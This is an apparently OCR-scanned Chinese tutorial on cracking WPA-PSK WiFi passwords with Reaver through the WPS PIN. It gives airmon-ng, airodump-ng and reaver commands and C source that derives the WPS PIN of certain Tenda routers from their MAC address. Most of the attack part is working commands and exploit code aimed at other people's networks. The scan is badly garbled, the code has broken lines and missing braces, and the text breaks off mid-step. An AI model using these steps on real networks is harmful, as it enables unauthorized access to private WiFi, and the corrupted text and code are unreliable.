破解WIFI无线网络密码之使用Reaver+PIN码破解WPA-PSK密码使用Reaver+PIN码破解WIFI无线网络WPA-PSK密码：Z前掌握到的破解WPA-PSK密码仅限尸使丿UaircreackIE具包获取handshake后挂？典爆破方式，而能否破解出wpa密码完全依赖于字典强度了。除了该方式外还有一个更有效的办法，就是使用路由PIN码然后使川BT5卜•H带的ReaverI具秒破WPA-PSK密码！在已知PIN码的情况下可以在BT5下使用reaver-imonO-bAP'sMac-ppin直接秒破！现在比较难的就是怎么得到PIN的问题了，经常关注无线这方面的朋友应该知道现在腾达和磊科产品有保PIN算法漏洞,如果路由MAC地址是以“C83A35”或“OOBOOC”打头那么可以直接计算出PIN值，然后使用PIN值直接连接或者继续使用PIN值加reaver破解出wpa-psko除此Z外，根据PIN特点同样也可以使用Reaver来穷举，pin码是一个8位数前四位是随机生成的而麻4位是3个数字加1个checksum人人降低了穷举所需要的时间。在BT5下可以使用reaver-imonO-bAPsMac-vv来破解，这个过程可能需要花很多个小时，在网上有看到是3-10个小时，具体的我还未验证。reaver在此过程中还会保存进度(/usr/local/etc/reaver/AP'sMAC.wpc)到文件。不过使用PIN方法破解WPA-PSK密码有一个限制，就是AP必须开启了QSS、WPS功能!我们可以在扫描AP的吋候判断n标AP是否开启了QSS、WPS功能，如下图使用airodump-ng扫描时候在MB栏中后面有个的就是。或者在win7下而，连接AP吋候在密码输入框下而有“通过按路山器按钮也可以连接”字样也是开启了QSS>wps的。“C83A35”或“00B00C”打头路由PIN计算工具源码,大家可以自己编译://ComputesPINcodestartswithOUI,,C83A35UandM00B00Cu//BothtwoOUIswhichbelongedtoTendaTechnologyCo.,Ltdareconfirmedeffectively.//CodedbyZhaochunsheng-iBeini.com//ModifiedbyLingxi・WiFiBETA.COM#inckidc<stdio.h>#include<stdlib.h>#include<stdafx.h>---本文来源于网络，仅供参考，勿照抄，如有侵权请联系删除---intmain()unsignedintwps_pin_checksum(unsignedintpin);intPIN=0;//printf(MComputePIN-C83A35\nM);printf(nDescription:\nH);printf(HlfyourwirelessrouterMACaddressstartwith\UC83A35VorVOOBOOCVWn0);printf(Htypetheothersixdigits,youmightbeabletogetthe\nH);printf(HWPS-PINofthisequipment,pleasehaveatry,goodluck!\n\nu);printf(nCodebyZhaoChunsheng04/07/2012http://www.2cto.com\n\nM);printf(nModifiedbyLingxi-WiFiBETA.COM\n\nM);//TranslatedtoChineseprintf(“说明：\n”)；printf(“如果您的无线路由器MAC地址以“C83A35”或“OOB0OC”打头，\n”);printf(“输入后六位MAC地址(不分大小写)您或许可以获得该路山的WPSPIN密钥！\n”);printf'C*祝你好运!\n\nn);printf("由赵春生编写于2012年4月7RHttp://iBeini.com\nH);printfC*由灵曦修改并汉化WiFiBETA.COM\n\nH);printfC请输入后六位MAC地址(HEX)：\n“)；printf("Inputthelast6digitsofMACAddress(HEX):");scanf(”％x”,&PIN);printf(MLast6digitsofMACAddress(HEX)are:%X\nH,PlN);printf(nWPSPINis:%07d%d\nM,PIN%10000000,wps_pin_chccksum(PIN%10000000));return0;}unsignedintwps_pin_checksum(unsignedintpin){unsignedintaccum=0;while(pin){accum+=3*(pin%10);pin/=10;---本文来源于网络，仅供参考，勿照抄，如有侵权请联系删除---accum+=pin%10;pin/=10;return(10・accum%10)%10;pin码破密特点:1、不需要客户端，2、有PIN码就能获得无线密码，3、八位数PIN码实际只冇一万一千组随机密码，而PIN破密，只要开启WPS,破密只是个时间问题。如果你知道了PIN码，那么你就要输入下而一段代码来取得对方的密码reaver-imonO-b（AP的MAC）・ppin码reaver使用方法、步骤:打开超级终端ROQshell如果电脑装有多个无线网卡，请先发指令ifconfig-a确认你川哪一个网卡WUKN0或WU\N1下而的指令都是以单一网卡WLAN0为例-、激活监听模式:airmon・ngstartwlanO二、查看周边AP信息（抓包）:airodump-ngmonO观察要破AP的PWR信号强弱变化，注意同频干扰，调整网卡放置位置和...